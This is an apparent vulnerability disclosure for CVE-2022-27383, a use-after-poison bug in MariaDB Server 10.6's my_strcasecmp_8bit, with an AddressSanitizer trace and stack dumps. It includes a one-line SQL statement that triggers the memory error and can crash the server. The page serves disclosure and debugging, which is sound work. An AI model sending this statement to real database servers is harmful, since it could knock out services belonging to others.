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CVE-2022-27383: [MDEV-26323] use-after-poison issue of MariaDB server

MariaDB Server v10.6 and below was discovered to contain an use-after-free in the component my_strcasecmp_8bit, which is exploited via specially crafted SQL statements.

CVE
#sql#linux

step to reproduce:

INSTALL PLUGIN DEALLOCATE SONAME ‘x’ ;

asan report:

Version: ‘10.6.5-MariaDB’ socket: ‘/tmp/mysql_mar.sock’ port: 3309 Source distribution

=================================================================

==283607==ERROR: AddressSanitizer: use-after-poison on address 0x62b000077306 at pc 0x56165517504e bp 0x7f3e39319c80 sp 0x7f3e39319c70

READ of size 1 at 0x62b000077306 thread T48

#0 0x56165517504d in my\_strcasecmp\_8bit /home/supersix/fuzz/security/MariaDB/server/strings/ctype-simple.c:265

#1 0x561653282063 in fix\_dl\_name /home/supersix/fuzz/security/MariaDB/server/sql/sql\_plugin.cc:376

#2 0x561653282063 in plugin\_add /home/supersix/fuzz/security/MariaDB/server/sql/sql\_plugin.cc:1125

#3 0x561653293f30 in mysql\_install\_plugin(THD\*, st\_mysql\_const\_lex\_string const\*, st\_mysql\_const\_lex\_string const\*) /home/supersix/fuzz/security/MariaDB/server/sql/sql\_plugin.cc:2270

#4 0x56165326a1df in mysql\_execute\_command(THD\*, bool) /home/supersix/fuzz/security/MariaDB/server/sql/sql\_parse.cc:5899

#5 0x561653225684 in mysql\_parse(THD\*, char\*, unsigned int, Parser\_state\*) /home/supersix/fuzz/security/MariaDB/server/sql/sql\_parse.cc:8030

#6 0x56165325b0b3 in dispatch\_command(enum\_server\_command, THD\*, char\*, unsigned int, bool) /home/supersix/fuzz/security/MariaDB/server/sql/sql\_parse.cc:1896

#7 0x561653260513 in do\_command(THD\*, bool) /home/supersix/fuzz/security/MariaDB/server/sql/sql\_parse.cc:1404

#8 0x5616537226fc in do\_handle\_one\_connection(CONNECT\*, bool) /home/supersix/fuzz/security/MariaDB/server/sql/sql\_connect.cc:1418

#9 0x561653723e56 in handle\_one\_connection /home/supersix/fuzz/security/MariaDB/server/sql/sql\_connect.cc:1312

#10 0x56165456fd2f in pfs\_spawn\_thread /home/supersix/fuzz/security/MariaDB/server/storage/perfschema/pfs.cc:2201

#11 0x7f3e5895a608 in start\_thread /build/glibc-ZN95T4/glibc-2.31/nptl/pthread\_create.c:477

#12 0x7f3e5852e292 in \_\_clone (/lib/x86\_64-linux-gnu/libc.so.6+0x122292)

0x62b000077306 is located 262 bytes inside of 24624-byte region [0x62b000077200,0x62b00007d230)

allocated by thread T48 here:

#0 0x7f3e58ee5bc8 in malloc (/lib/x86\_64-linux-gnu/libasan.so.5+0x10dbc8)

#1 0x5616550fbc1c in my\_malloc /home/supersix/fuzz/security/MariaDB/server/mysys/my\_malloc.c:90

#2 0x5616550e28c8 in reset\_root\_defaults /home/supersix/fuzz/security/MariaDB/server/mysys/my\_alloc.c:148

#3 0x5616530d2773 in THD::init\_for\_queries() /home/supersix/fuzz/security/MariaDB/server/sql/sql\_class.cc:1406

#4 0x5616537201ea in prepare\_new\_connection\_state(THD\*) /home/supersix/fuzz/security/MariaDB/server/sql/sql\_connect.cc:1240

#5 0x561653720efa in thd\_prepare\_connection(THD\*) /home/supersix/fuzz/security/MariaDB/server/sql/sql\_connect.cc:1333

#6 0x561653720efa in thd\_prepare\_connection(THD\*) /home/supersix/fuzz/security/MariaDB/server/sql/sql\_connect.cc:1322

#7 0x561653722663 in do\_handle\_one\_connection(CONNECT\*, bool) /home/supersix/fuzz/security/MariaDB/server/sql/sql\_connect.cc:1408

#8 0x561653723e56 in handle\_one\_connection /home/supersix/fuzz/security/MariaDB/server/sql/sql\_connect.cc:1312

#9 0x56165456fd2f in pfs\_spawn\_thread /home/supersix/fuzz/security/MariaDB/server/storage/perfschema/pfs.cc:2201

#10 0x7f3e5895a608 in start\_thread /build/glibc-ZN95T4/glibc-2.31/nptl/pthread\_create.c:477

Thread T48 created by T0 here:

#0 0x7f3e58e12805 in pthread\_create (/lib/x86\_64-linux-gnu/libasan.so.5+0x3a805)

#1 0x56165456ffe2 in my\_thread\_create /home/supersix/fuzz/security/MariaDB/server/storage/perfschema/my\_thread.h:48

#2 0x56165456ffe2 in pfs\_spawn\_thread\_v1 /home/supersix/fuzz/security/MariaDB/server/storage/perfschema/pfs.cc:2252

#3 0x561652ef4b48 in inline\_mysql\_thread\_create /home/supersix/fuzz/security/MariaDB/server/include/mysql/psi/mysql\_thread.h:1139

#4 0x561652ef4b48 in create\_thread\_to\_handle\_connection(CONNECT\*) /home/supersix/fuzz/security/MariaDB/server/sql/mysqld.cc:5922

#5 0x561652f04235 in handle\_accepted\_socket(st\_mysql\_socket, st\_mysql\_socket) /home/supersix/fuzz/security/MariaDB/server/sql/mysqld.cc:6043

#6 0x561652f0500e in handle\_connections\_sockets() /home/supersix/fuzz/security/MariaDB/server/sql/mysqld.cc:6167

#7 0x561652f0719b in mysqld\_main(int, char\*\*) /home/supersix/fuzz/security/MariaDB/server/sql/mysqld.cc:5817

#8 0x7f3e584330b2 in \_\_libc\_start\_main (/lib/x86\_64-linux-gnu/libc.so.6+0x270b2)

SUMMARY: AddressSanitizer: use-after-poison /home/supersix/fuzz/security/MariaDB/server/strings/ctype-simple.c:265 in my_strcasecmp_8bit

Shadow bytes around the buggy address:

0x0c5680006e10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa

0x0c5680006e20: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa

0x0c5680006e30: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa

0x0c5680006e40: 00 00 00 00 00 00 f7 00 00 00 00 00 00 00 00 00

0x0c5680006e50: 00 00 00 00 00 00 03 f7 00 00 00 00 05 f7 00 03

=>0x0c5680006e60:[f7]02 f7 00 00 00 00 00 00 00 f7 f7 f7 f7 f7 f7

0x0c5680006e70: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7

0x0c5680006e80: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7

0x0c5680006e90: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7

0x0c5680006ea0: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7

0x0c5680006eb0: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7

Shadow byte legend (one shadow byte represents 8 application bytes):

Addressable: 00

Partially addressable: 01 02 03 04 05 06 07

Heap left redzone: fa

Freed heap region: fd

Stack left redzone: f1

Stack mid redzone: f2

Stack right redzone: f3

Stack after return: f5

Stack use after scope: f8

Global redzone: f9

Global init order: f6

Poisoned by user: f7

Container overflow: fc

Array cookie: ac

Intra object redzone: bb

ASan internal: fe

Left alloca redzone: ca

Right alloca redzone: cb

Shadow gap: cc

==283607==ABORTING

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